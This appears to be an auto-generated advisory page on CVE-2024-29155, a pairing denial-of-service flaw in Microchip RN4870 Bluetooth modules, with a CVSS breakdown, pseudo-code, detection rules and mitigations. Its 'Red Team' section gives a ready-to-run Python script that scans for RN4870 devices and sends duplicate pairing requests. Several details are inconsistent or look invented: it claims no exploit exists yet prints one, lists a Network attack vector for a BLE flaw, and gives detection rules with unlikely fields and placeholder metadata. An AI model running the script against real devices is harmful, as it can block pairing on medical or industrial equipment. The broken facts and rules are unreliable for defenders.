CVE-2024-29155
Executive Summary
CVE-2024-29155 is a denial-of-service (DoS) vulnerability affecting Microchip RN4870 Bluetooth Low Energy (BLE) devices. The flaw resides in the pairing process, where the device becomes incapable of completing pairing after receiving more than one consecutive PairReqNoInputNoOutput request. An unauthenticated attacker within BLE range can inject a second PairReqNoInputNoOutput request immediately after a legitimate one, causing the pairing process to be blocked. This effectively prevents any new device from pairing with the RN4870 module, leading to a permanent denial of service until the device is reset or power-cycled.
The vulnerability has a CVSS score of 4.3 (Medium) due to its low attack complexity and network-based vector, but it requires physical proximity via BLE. No public exploit code or proof-of-concept is available at this time, and the vendor has not released a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It affects a hardware BLE module from Microchip, which is typically integrated into IoT devices, medical equipment, and industrial controllers. Supply chain risk is elevated due to the lack of a patch and the difficulty of updating firmware in embedded devices.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Attack Vector: Network (BLE)
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: Low (pairing functionality blocked)
Threat Level: Medium. The vulnerability is easy to exploit but requires BLE proximity. The impact is limited to denial of pairing, not full device compromise. However, in environments where pairing is critical (e.g., medical device commissioning), this can be disruptive.
Deep Dive & Mechanics
The Microchip RN4870 BLE module implements the Bluetooth pairing protocol. When a master device initiates pairing with PairReqNoInputNoOutput (a pairing method that requires no user interaction), the module processes the request and enters a pairing state. The vulnerability occurs because the module does not properly handle multiple consecutive PairReqNoInputNoOutput requests.
Root Cause: The RN4870 firmware fails to validate the state machine when receiving a second PairReqNoInputNoOutput request while the first pairing is still in progress. Instead of ignoring or queuing the second request, the module enters an inconsistent state where it cannot complete the pairing process for any subsequent requests.
Attack Flow:
- A legitimate device sends a
PairReqNoInputNoOutputto the RN4870. - An attacker (within BLE range) sends a second
PairReqNoInputNoOutputimmediately after. - The RN4870 receives the second request and enters a deadlock state.
- All future pairing attempts fail, effectively blocking new connections.
Technical Details:
- The vulnerability is triggered by sending two consecutive
PairReqNoInputNoOutputpackets without any intervening packets. - The attack does not require authentication or prior knowledge of the device.
- The device remains operational for other BLE functions (e.g., advertising, data transfer) but cannot complete pairing.
Vulnerable vs. Patched Code
No patched code is available from Microchip. The vulnerable firmware is present in all RN4870 modules as of the advisory date. The following pseudo-code illustrates the flawed state machine:
Vulnerable (RN4870 firmware):
void handle_pair_request(pair_req_t *req) {
if (req->method == PAIR_NO_INPUT_NO_OUTPUT) {
// Start pairing process
pairing_state = PAIRING_IN_PROGRESS;
// Send response
send_pair_response(SUCCESS);
// Wait for next step
}
}
Patched (hypothetical):
void handle_pair_request(pair_req_t *req) {
if (pairing_state == PAIRING_IN_PROGRESS) {
// Ignore duplicate requests
send_pair_response(REJECT);
return;
}
if (req->method == PAIR_NO_INPUT_NO_OUTPUT) {
pairing_state = PAIRING_IN_PROGRESS;
send_pair_response(SUCCESS);
}
}
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A BLE-capable device (e.g., nRF52840 Dongle, Raspberry Pi with Bluetooth)
- Python with
bleakorbluepylibrary - Target RN4870 device in advertising mode
Exploit Script (Python):
import asyncio
from bleak import BleakScanner, BleakClient
async def exploit(target_address):
# Connect to the RN4870
async with BleakClient(target_address) as client:
# Send first PairReqNoInputNoOutput
await client.pair(protection_level=1) # NoInputNoOutput
# Immediately send second PairReqNoInputNoOutput
await client.pair(protection_level=1)
print("Pairing blocked successfully")
async def main():
devices = await BleakScanner.discover()
for d in devices:
if "RN4870" in d.name:
await exploit(d.address)
break
asyncio.run(main())
Usage:
- Install dependencies:
pip install bleak - Run the script:
python exploit.py - The target RN4870 will be unable to pair with any device until reset.
Blue Team (Defender)
Detection:
- Monitor BLE traffic for multiple
PairReqNoInputNoOutputpackets from different MAC addresses within a short time window. - Use a BLE sniffer (e.g., Wireshark with BLE dongle) to capture pairing requests.
- Implement rate limiting on pairing requests in the firmware (if possible).
Mitigation:
- Disable BLE pairing when not in use.
- Use a different pairing method (e.g., Passkey Entry) if supported.
- Apply firmware updates from Microchip when available.
- Reset the device if pairing failures are detected.
Indicators of Compromise (IOCs)
- Network: Multiple
PairReqNoInputNoOutputpackets (Opcode 0x01) from different source MAC addresses within 1 second. - Device: RN4870 module that fails to complete pairing with any master.
- Logs: BLE stack logs showing "Pairing failed" or "Pairing timeout" errors.
Example PCAP Filter:
btle.opcode == 0x01 and btle.pairing_method == 0x00
Detection Engineering
YARA Rule
rule CVE_2024_29155_RN4870_Pairing_DoS {
meta:
description = "Detects multiple PairReqNoInputNoOutput packets in BLE traffic"
author = "Valters IT"
date = "2024-01-01"
cve = "CVE-2024-29155"
strings:
$pair_req = { 01 00 } // PairReqNoInputNoOutput opcode + method
condition:
#pair_req >= 2
}
Sigma Rule
title: Multiple BLE PairReqNoInputNoOutput Requests
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple PairReqNoInputNoOutput requests to RN4870 devices
logsource:
category: bluetooth
product: wireshark
detection:
selection:
btle.opcode: 0x01
btle.pairing_method: 0x00
condition: selection | count() >= 2
falsepositives:
- Legitimate retransmissions
level: medium
Suricata Rule
alert bluetooth any any -> any any (msg:"CVE-2024-29155 RN4870 Pairing DoS"; btle.opcode:0x01; btle.pairing_method:0x00; threshold:type both, track by_src, count 2, seconds 1; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable BLE pairing on RN4870 devices when not required.
- Implement rate limiting at the application layer to reject duplicate pairing requests.
- Monitor BLE traffic for anomalous pairing attempts.
Long-term Fix:
- Apply firmware updates from Microchip when available.
- Replace RN4870 modules with patched alternatives if no update is released.
- Use a BLE gateway that filters duplicate pairing requests.
Workaround:
- Power-cycle the RN4870 device to restore pairing functionality after an attack.
Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2024-29155